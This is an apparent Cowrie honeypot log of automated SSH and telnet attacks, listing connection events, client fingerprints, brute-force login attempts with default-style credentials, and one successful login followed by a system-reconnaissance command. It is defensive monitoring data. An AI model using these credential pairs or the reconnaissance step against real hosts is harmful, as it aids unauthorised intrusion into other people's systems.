{"eventid":"cowrie.session.closed","duration":37.4139621257782,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:45.128089Z","src_ip":"149.56.25.198","session":"63e243af6187","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.17637276649475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:46.021115Z","src_ip":"149.56.25.198","session":"12a7b951bfe0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.456268787384033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:46.030022Z","src_ip":"149.56.25.198","session":"e379383ff5d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.928864002227783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:50.018290Z","src_ip":"149.56.25.198","session":"22339f51b668","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":40024,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb717054a7f1","protocol":"ssh","message":"New connection: 176.53.96.10:40024 (10.17.0.5:22) [session: cb717054a7f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:53.632746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:53.636115Z","src_ip":"176.53.96.10","session":"cb717054a7f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:53.755810Z","src_ip":"176.53.96.10","session":"cb717054a7f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu#2023","message":"login attempt [ubuntu/ubuntu#2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:54.271580Z","src_ip":"176.53.96.10","session":"cb717054a7f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":51874,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d8e70b0aca2","protocol":"telnet","message":"New connection: 149.56.25.198:51874 (10.17.0.5:23) [session: 3d8e70b0aca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:54.773535Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":51876,"dst_ip":"10.17.0.5","dst_port":23,"session":"05190273e2bd","protocol":"telnet","message":"New connection: 149.56.25.198:51876 (10.17.0.5:23) [session: 05190273e2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:55.040670Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:55.395945Z","src_ip":"176.53.96.10","session":"cb717054a7f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.69398522377014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:57.017958Z","src_ip":"149.56.25.198","session":"153f1940dc58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.021223783493042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:14:57.038458Z","src_ip":"149.56.25.198","session":"15ca0c0a50ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882506847381592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:00.026281Z","src_ip":"149.56.25.198","session":"65110843729c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61191415786743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:05.229071Z","src_ip":"149.56.25.198","session":"f083a52be325","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.25.198","src_port":42892,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e53beb7c9f7","protocol":"telnet","message":"New connection: 149.56.25.198:42892 (10.17.0.5:23) [session: 2e53beb7c9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:06.655357Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":55168,"dst_ip":"10.17.0.5","dst_port":22,"session":"621967842445","protocol":"ssh","message":"New connection: 68.183.236.1:55168 (10.17.0.5:22) [session: 621967842445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:19.300195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:19.305202Z","src_ip":"68.183.236.1","session":"621967842445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:19.560892Z","src_ip":"68.183.236.1","session":"621967842445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle@1234","message":"login attempt [root/oracle@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:20.608806Z","src_ip":"68.183.236.1","session":"621967842445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:21.866233Z","src_ip":"68.183.236.1","session":"621967842445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.24888515472412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:25.022304Z","src_ip":"149.56.25.198","session":"3d8e70b0aca2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.200847387313843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:26.241374Z","src_ip":"149.56.25.198","session":"05190273e2bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50406,"dst_ip":"159.203.135.109","dst_port":22,"session":"c09eb73e27db","protocol":"ssh","message":"New connection: 159.203.92.129:50406 (159.203.135.109:22) [session: c09eb73e27db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:26.931238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:26.936047Z","src_ip":"159.203.92.129","session":"c09eb73e27db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:26.941267Z","src_ip":"159.203.92.129","session":"c09eb73e27db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123abcABC","message":"login attempt [admin/123abcABC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:26.952934Z","src_ip":"159.203.92.129","session":"c09eb73e27db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:27.960101Z","src_ip":"159.203.92.129","session":"c09eb73e27db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":40282,"dst_ip":"10.17.0.5","dst_port":22,"session":"97687c4f0a36","protocol":"ssh","message":"New connection: 165.154.5.148:40282 (10.17.0.5:22) [session: 97687c4f0a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:35.903873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:35.909552Z","src_ip":"165.154.5.148","session":"97687c4f0a36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:36.132648Z","src_ip":"165.154.5.148","session":"97687c4f0a36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.376837491989136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:37.031993Z","src_ip":"149.56.25.198","session":"2e53beb7c9f7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd..","message":"login attempt [root/P@ssw0rd..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:37.054318Z","src_ip":"165.154.5.148","session":"97687c4f0a36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:38.282624Z","src_ip":"165.154.5.148","session":"97687c4f0a36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":41058,"dst_ip":"10.17.0.5","dst_port":22,"session":"aab9f3239a03","protocol":"ssh","message":"New connection: 176.53.96.10:41058 (10.17.0.5:22) [session: aab9f3239a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:53.037480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:53.041786Z","src_ip":"176.53.96.10","session":"aab9f3239a03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:53.163998Z","src_ip":"176.53.96.10","session":"aab9f3239a03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"tsserver","message":"login attempt [teamspeak/tsserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:53.687291Z","src_ip":"176.53.96.10","session":"aab9f3239a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:15:54.812893Z","src_ip":"176.53.96.10","session":"aab9f3239a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00955033302307,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:02.536675Z","src_ip":"176.29.26.223","session":"b11733946e99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00511527061462,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:06.152452Z","src_ip":"176.29.26.223","session":"9cfc8751756f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":25924,"dst_ip":"159.203.135.109","dst_port":23,"session":"908fa5364bf5","protocol":"telnet","message":"New connection: 176.29.26.223:25924 (159.203.135.109:23) [session: 908fa5364bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:07.212540Z"}
{"eventid":"cowrie.session.closed","duration":120.00152540206909,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:07.410092Z","src_ip":"176.29.26.223","session":"e665fab35322","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":20967,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c561b48e429","protocol":"telnet","message":"New connection: 176.29.26.223:20967 (159.203.135.109:23) [session: 5c561b48e429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:08.478536Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":34403,"dst_ip":"159.203.135.109","dst_port":23,"session":"753fa780f7a9","protocol":"telnet","message":"New connection: 176.29.26.223:34403 (159.203.135.109:23) [session: 753fa780f7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:09.604292Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42472,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bd7bd0f62d7","protocol":"ssh","message":"New connection: 159.203.92.129:42472 (159.203.135.109:22) [session: 5bd7bd0f62d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:09.689224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:09.694417Z","src_ip":"159.203.92.129","session":"5bd7bd0f62d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:09.700362Z","src_ip":"159.203.92.129","session":"5bd7bd0f62d7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"123admin123","message":"login attempt [admin/123admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:09.713053Z","src_ip":"159.203.92.129","session":"5bd7bd0f62d7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:09.773206Z","src_ip":"159.203.92.129","session":"5bd7bd0f62d7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:16:09.777998Z","src_ip":"159.203.92.129","session":"5bd7bd0f62d7","protocol":"ssh"}
